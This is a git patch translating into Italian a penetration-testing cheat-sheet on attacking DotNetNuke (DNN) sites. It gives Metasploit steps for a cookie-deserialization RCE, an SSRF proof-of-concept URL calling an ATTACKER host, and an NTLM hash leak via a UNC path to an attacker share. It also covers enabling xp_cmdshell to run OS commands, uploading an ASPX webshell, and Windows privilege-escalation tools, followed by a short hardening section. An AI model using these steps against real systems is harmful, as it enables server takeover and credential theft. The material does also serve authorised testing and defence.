From a36f1480c1152cdfd6fc85fabba325f11457a5c5 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 19 Jul 2025 08:09:26 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d --- .../pentesting-web/dotnetnuke-dnn.md | 97 +++++++++++++++---- 1 file changed, 76 insertions(+), 21 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 8c24c54ca..ff96ad2b0 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -Se accedi come **amministratore** in DNN è facile ottenere RCE. +Se accedi come **amministratore** in DNN è facile ottenere **RCE**, tuttavia un certo numero di tecniche *non autenticate* e *post-autenticazione* sono state pubblicate negli ultimi anni. Il seguente cheat-sheet raccoglie le primitive più utili sia per il lavoro offensivo che difensivo. -## RCE +--- +## Enumerazione della Versione & Ambiente -### Via SQL +* Controlla l'intestazione di risposta HTTP *X-DNN* – di solito rivela la versione esatta della piattaforma. +* Il wizard di installazione rivela la versione in `/Install/Install.aspx?mode=install` (accessibile su installazioni molto vecchie). +* `/API/PersonaBar/GetStatus` (9.x) restituisce un blob JSON contenente `"dnnVersion"` per utenti a bassa privilegio. +* Cookie tipici che vedrai su un'istanza live: +* `.DOTNETNUKE` – ticket di autenticazione delle forme ASP.NET. +* `DNNPersonalization` – contiene dati del profilo utente in XML/serializzati (versioni vecchie – vedi RCE qui sotto). -Una console SQL è accessibile nella pagina **`Impostazioni`** dove puoi abilitare **`xp_cmdshell`** e **eseguire comandi di sistema operativo**. +--- +## Sfruttamento Non Autenticato -Usa queste righe per abilitare **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. RCE da Deserializzazione dei Cookie (CVE-2017-9822 & seguiti) +*Versioni interessate ≤ 9.3.0-RC* + +`DNNPersonalization` viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice. ``` -E premi **"Esegui Script"** per eseguire quelle istruzioni sQL. - -Quindi, usa qualcosa di simile al seguente per eseguire comandi OS: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Via ASP webshell +Il modulo sceglie automaticamente il percorso giusto per le versioni patchate ma ancora vulnerabili (CVE-2018-15811/15812/18325/18326). L'exploitation funziona **senza autenticazione** su 7.x–9.1.x e con un account *verificato* a basso privilegio su 9.2.x+. -In `Settings -> Security -> More -> More Security Settings` puoi **aggiungere nuove estensioni consentite** sotto `Allowable File Extensions`, e poi cliccando il pulsante `Save`. +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Versioni interessate < 9.13.8 – Patch rilasciata aprile 2025* -Aggiungi **`asp`** o **`aspx`** e poi in **`/admin/file-management`** carica un **asp webshell** chiamato `shell.asp` per esempio. +Un bypass della vecchia correzione `DnnImageHandler` consente a un attaccante di costringere il server a emettere **richieste GET arbitrarie** (SSRF semi-alla cieca). Impatti pratici: -Poi accedi a **`/Portals/0/shell.asp`** per accedere al tuo webshell. +* Scansione delle porte interne / scoperta dei servizi metadata nelle implementazioni cloud. +* Raggiungere host altrimenti protetti da firewall da Internet. -### Privilege Escalation +Proof-of-concept (sostituire `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +La richiesta viene attivata in background; monitora il tuo listener per i callback. -Puoi **escalare privilegi** usando **Potatoes** o **PrintSpoofer** per esempio. +### 3. Esposizione dell'Hash NTLM tramite Redirect UNC (CVE-2025-52488) +*Versioni interessate 6.0.0 – 9.x (< 10.0.1)* +Contenuti appositamente creati possono far sì che DNN tenti di recuperare una risorsa utilizzando un **percorso UNC** come `\\attacker\share\img.png`. Windows eseguirà felicemente la negoziazione NTLM, rivelando gli hash degli account server all'attaccante. Aggiorna a **10.0.1** o disabilita SMB in uscita nel firewall. + +### 4. Bypass del Filtro IP (CVE-2025-52487) +Se gli amministratori si affidano ai *Filtri Host/IP* per la protezione del portale admin, sii consapevole che le versioni precedenti a **10.0.1** possono essere bypassate manipolando `X-Forwarded-For` in uno scenario di reverse-proxy. + +--- +## Post-Autenticazione a RCE + +### Via console SQL +Sotto **`Impostazioni → SQL`** una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare **`xp_cmdshell`** e generare comandi: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### Via upload di webshell ASPX +1. Vai a **`Impostazioni → Sicurezza → Altro → Ulteriori impostazioni di sicurezza`**. +2. Aggiungi `aspx` (o `asp`) a **Estensioni di file consentite** e **Salva**. +3. Naviga a **`/admin/file-management`** e carica `shell.aspx`. +4. Attivalo su **`/Portals/0/shell.aspx`**. + +--- +## Escalation dei privilegi su Windows +Una volta ottenuta l'esecuzione del codice come **IIS AppPool\**, si applicano tecniche comuni di escalation dei privilegi di Windows. Se la macchina è vulnerabile, puoi sfruttare: + +* **PrintSpoofer** / **SpoolFool** per abusare di *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** per sfuggire a *Service Accounts*. + +--- +## Raccomandazioni di indurimento (Blue Team) + +* **Aggiorna** ad almeno **9.13.9** (risolve il bypass SSRF) o preferibilmente **10.0.1** (problemi di filtro IP e NTLM). +* Rimuovi i file residui **`InstallWizard.aspx*`** dopo l'installazione. +* Disabilita l'uscita SMB outbound (porte 445/139). +* Applica filtri *Host* forti sul proxy di edge piuttosto che all'interno di DNN. +* Blocca l'accesso a `/API/RemoteContentProxy` se non utilizzato. + +## Riferimenti + +* Documentazione del modulo Metasploit `dnn_cookie_deserialization_rce` – dettagli pratici su RCE non autenticato (GitHub). +* Avviso di sicurezza GitHub GHSA-3f7v-qx94-666m – informazioni sul bypass SSRF del 2025 e patch. {{#include ../../banners/hacktricks-training.md}}